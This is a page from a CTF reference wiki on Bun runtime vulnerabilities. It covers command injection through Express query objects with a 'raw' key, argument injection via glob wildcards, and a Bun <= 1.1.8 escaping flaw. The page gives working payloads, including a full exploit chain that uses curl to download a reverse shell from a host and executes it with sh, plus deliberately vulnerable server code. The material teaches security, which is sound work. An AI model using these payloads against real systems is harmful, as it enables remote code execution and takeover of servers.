🚩
Practical CTF
BlogContact
  • 🚩Home - Practical CTF
  • 🌐Web
    • Enumeration
      • Finding Hosts & Domains
      • Masscan
      • Nmap
      • OSINT
    • Client-Side
      • Cross-Site Scripting (XSS)
        • HTML Injection
        • Content-Security-Policy (CSP)
      • CSS Injection
      • Cross-Site Request Forgery (CSRF)
      • XS-Leaks
      • Window Popup Tricks
      • Header / CRLF Injection
      • WebSockets
      • Caching
    • Server-Side
      • SQL Injection
      • NoSQL Injection
      • GraphQL
      • XML External Entities (XXE)
      • HTTP Request Smuggling
      • Local File Disclosure
      • Arbitrary File Write
      • Reverse Proxies
    • Frameworks
      • Flask
      • Ruby on Rails
      • NodeJS
      • Bun
      • WordPress
      • Angular
    • Chrome Remote DevTools
    • ImageMagick
  • 🔣Cryptography
    • Encodings
    • Ciphers
    • Custom Ciphers
      • Z3 Solver
    • XOR
    • Asymmetric Encryption
      • RSA
      • Diffie-Hellman
      • PGP / GPG
    • AES
    • Hashing
      • Cracking Hashes
      • Cracking Signatures
    • Pseudo-Random Number Generators (PRNG)
    • Timing Attacks
    • Blockchain
      • Smart Contracts
      • Bitcoin addresses
  • 🔎Forensics
    • Wireshark
    • File Formats
    • Archives
    • Memory Dumps (Volatility)
    • VBA Macros
    • Grep
    • Git
    • File Recovery
  • ⚙️Reverse Engineering
    • Ghidra
    • Angr Solver
    • Reversing C# - .NET / Unity
    • PowerShell
  • 📟Binary Exploitation
    • ir0nstone's Binary Exploitation Notes
    • Reverse Engineering for Pwn
    • PwnTools
    • ret2win
    • ret2libc
    • Shellcode
    • Stack Canaries
    • Return-Oriented Programming (ROP)
      • SigReturn-Oriented Programming (SROP)
      • ret2dlresolve
    • Sandboxes (chroot, seccomp & namespaces)
    • Race Conditions
  • 📲Mobile
    • Setup
    • Reversing APKs
    • Patching APKs
    • HTTP(S) Proxy for Android
    • Android Backup
    • Compiling C for Android
    • iOS
  • 🌎Languages
    • PHP
    • Python
    • JavaScript
      • Prototype Pollution
      • postMessage Exploitation
    • Java
    • C#
    • Assembly
    • Markdown
    • LaTeX
    • JSON
    • YAML
    • CodeQL
    • NASL (Nessus Plugins)
    • Regular Expressions (RegEx)
  • 🤖Networking
    • Modbus - TCP/502
    • Redis/Valkey - TCP/6379
  • 🐧Linux
    • Shells
    • Bash
    • Linux Privilege Escalation
      • Enumeration
      • Networking
      • Command Triggers
      • Command Exploitation
      • Outdated Versions
      • Network File Sharing (NFS)
      • Docker
      • Filesystem Permissions
    • Analyzing Processes
  • 🪟Windows
    • The Hacker Recipes - AD
    • Scanning/Spraying
    • Exploitation
    • Local Enumeration
    • Local Privilege Escalation
    • Windows Authentication
      • Kerberos
      • NTLM
    • Lateral Movement
    • Active Directory Privilege Escalation
    • Persistence
    • Antivirus Evasion
    • Metasploit
    • Alternate Data Streams (ADS)
  • ☁️Cloud
    • Kubernetes
    • Microsoft Azure
  • ❔Other
    • Business Logic Errors
    • Password Managers
    • ANSI Escape Codes
    • WSL Tips
Powered by GitBook
On this page
  • # Related Pages
  • Description
  • Bun $ Shell
  • Command Injection using Objects
  • Globbing
  • Bun <= v1.1.8 - Forgotten characters
  1. Web
  2. Frameworks

Bun

An alternative JavaScript runtime with unique libraries and quirks

PreviousNodeJSNextWordPress

Last updated 6 months ago

# Related Pages

Description

is an alternative runtime to NodeJS. It aims to be faster, and pack all tooling into one command: bun. This re-implementation comes with some quirks, and the added features can have vulnerabilities too. This page will describe some of them.

Bun $ Shell

Bun is an alternative JavaScript runtime just like NodeJS, but has some more native packages. One such API is the that allows running shell commands safely with . User input as a string will be escaped properly to prevent injection of more commands.

Command Injection using Objects

Take a look at the following example:

Example
import express from "express";
import { $ } from "bun";

app.get("/", async (req, res) => {
  const dir = req.query.dir || "";

  res.set("Content-Type", "text/plain");
  try {
    const output = await $`ls /${dir}`.text();

    res.send(output);
  } catch (err) {
    console.error(err);
    res.status(500).send(`${err.message}\n${err.stderr}`);
  }
});

Running this, we can try to access /?dir=$(id) in hopes of command substitution, but we get an error instead:

ls: /$(id): No such file or directory

In that section of the documentation an interesting example is shown:

If you do not want your string to be escaped, wrap it in a { raw: 'str' } object:

import { $ } from "bun";

await $`echo ${{ raw: '$(foo) `bar` "baz"' }}`;
// => bun: command not found: foo
// => bun: command not found: bar
// => baz

If the value in the tagged template is an object with a raw key, the value is not escaped. If we are able to abuse any functionality to make our input into an object, we can include this raw: key ourselves to bypass the filtering. In Express, this is possible by using a more complex query string that can create objects like ?dir[raw]=$(id) becoming { raw: "$(id)" }. This works!

Failed with exit code 1
ls: groups=1000(user): No such file or directory
ls: /uid=1000(user): No such file or directory
ls: gid=1000(user): No such file or directory

Many other frameworks allow creating an object like this from a query string, or even directly from JSON input in a request body.

Globbing

const string = String(req.query.string || "");
const output = await $`echo ${string}`.text();

The above code should directly echo back your input, but natively it allows wildcards to match any local filenames, even in different directories:

?string=*
package.json node_modules tsconfig.json bun.lockb README.md index.ts
?string=../*
../project1 ../project2 ../project3
?string=/etc/*
/etc/alternatives /etc/apt /etc/bash.bashrc ...

Note that depending on the filenames matched, this can even inject multiple arguments into a place where normally only one argument should be. The following Python script can be used to test this:

args.py
#!/usr/bin/env python3
import sys
print(sys.argv[1:])
const string = String(req.query.string || "");
const output = await $`./args.py ${string}`.text();
?string=a%20b%20c
# Notice a single argument normally:
['1 2 3']
?string=*
# Notice multiple arguments using wildcard:
['package.json', 'args.py', 'node_modules', 'tsconfig.json', 'bun.lockb', 'README.md', 'index.ts']

Bun <= v1.1.8 - Forgotten characters

Diff 1.1.8 vs 1.1.9
- const SPECIAL_CHARS = [_]u8{ '$', '>', '&', '|', '=', ';', '\n', '{', '}', ',', '(', ')', '\\', '\"', ' ', '\'' };
+ const SPECIAL_CHARS = [_]u8{ '~', '[', ']', '#', ';', '\n', '*', '{', ',', '}', '`', '$', '=', '(', ')', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '|', '>', '<', '&', '\'', '"', ' ', '\\' };

Before this commit, we could abuse weird parsing of the shell to write files, and execute commands. Take the following vulnerable example:

Vulnerable Example
import { $ } from "bun";

const server = Bun.serve({
    host: "0.0.0.0",
    port: 1337,
    async fetch(req) {
        const msg = (await req.formData()).get("msg");
        if (typeof msg !== "string") {
            return new Response("msg is not a string", { status: 400 });
        }

        const output = await $`echo ${msg}`.text();
        return new Response(output, { headers: { "Content-Type": "text/plain" } });
    }
});

In the above code snippet, any input inside msg= will be passed to echo and returned as a response. The shell API is used correctly and should not allow for command injection. It is however vulnerable to RCE in this older version!

First, you should know a weird parsing behaviour allowing you to write the output of a command to a file. By piping STDOUT (1) from an input file with <, the output of the echo command is appended to the file. Note that spaces are not allowed, but the payload below works:

Payload
anything1</tmp/foo
Result
$ cat /tmp/foo
anything
Payload 2
some%09tabs1</tmp/foo
Result
$ cat /tmp/foo
anything
some    tabs

Tabs (%09) are allowed, and can be used as shell argument separators.

Next, backticks (`) are not escaped either. These allow for execution of arbitrary commands, just without arguments. By passing the just-written file as input to sh, we will be able to execute arbitrary commands with arguments.

Payload
`sh</tmp/foo`

In the first step, we could have written a file with some commands to execute a reverse shell. Keep in mind that there are still some limitations around what content may be written to the file, as it is directly the output of the original command. You will be able to use only the following special characters in your input before the <:

Allowed Characters
\t (%09)
#%!+.-/:?[]^_~
0-9a-zA-Z
Full Exploit
msg=curl%09host.docker.internal:8000%09-o%09/tmp/shell1</tmp/cmd
msg=`sh</tmp/cmd`
msg=`sh</tmp/shell`

The same will happen for any command injection attempt. There are however, edge cases where this is exploitable, and the example above is surprisingly one of them. The problem lies in an obscure functionality that disables the escaping of arguments:

One more interesting functionality in Bun is that is partially implemented for filename expansion. This allows inputs like * to match all files, and more specific patterns like *.txt to match only files ending in .txt. Take the following example:

The above will generate multiple arguments in the place of ${string}, and if you have control over the filenames matched, it may allow you to perform some more complex attacks:

In older versions of Bun, the first implementation of escaping shell characters lacked a few key characters that should have been escaped. Namely: ` and < which can still cause trouble in the command line. adds these characters to the escape list.

Execute curl or wget to download an arbitrary file with your reverse shell, or when preinstalled tools are limited, try using .

🌐
JavaScript
NodeJS
Bun
$ Shell API
Tagged templates
$.escape (escape strings)
globbing
A commit from version 1.1.8 to 1.1.9
Restricted charset + no HTTP/DNS (dd-shell)
Argument Injection (Wildcards)